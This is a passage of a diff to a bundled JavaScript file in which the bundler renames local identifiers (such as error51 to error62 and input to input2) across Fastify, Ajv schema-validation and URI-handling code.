require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -17785,9 +17785,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -18024,9 +18024,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -18152,8 +18152,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -18202,10 +18202,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -18213,23 +18213,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -18267,13 +18267,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -18283,12 +18283,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -18298,9 +18298,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -18585,10 +18585,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -18596,10 +18596,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -18650,19 +18650,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -19182,8 +19182,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -19194,13 +19194,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -19610,11 +19610,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -20256,28 +20256,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -20443,27 +20443,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -20506,11 +20506,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -20543,23 +20543,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -20575,79 +20575,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -20657,80 +20657,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -20739,130 +20739,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -22327,7 +22327,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -22336,7 +22336,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -22352,7 +22352,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -22361,7 +22361,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -22408,7 +22408,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -22420,7 +22420,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22440,7 +22440,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -22449,7 +22449,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -22475,7 +22475,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -22487,7 +22487,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22506,7 +22506,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -22515,7 +22515,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -22586,7 +22586,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -22598,7 +22598,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22629,7 +22629,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -22638,7 +22638,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -22695,14 +22695,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -22724,7 +22724,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -22732,7 +22732,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -22811,7 +22811,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -22820,7 +22820,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -22939,7 +22939,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -22948,7 +22948,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -22972,7 +22972,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -22982,7 +22982,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -23160,7 +23160,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: 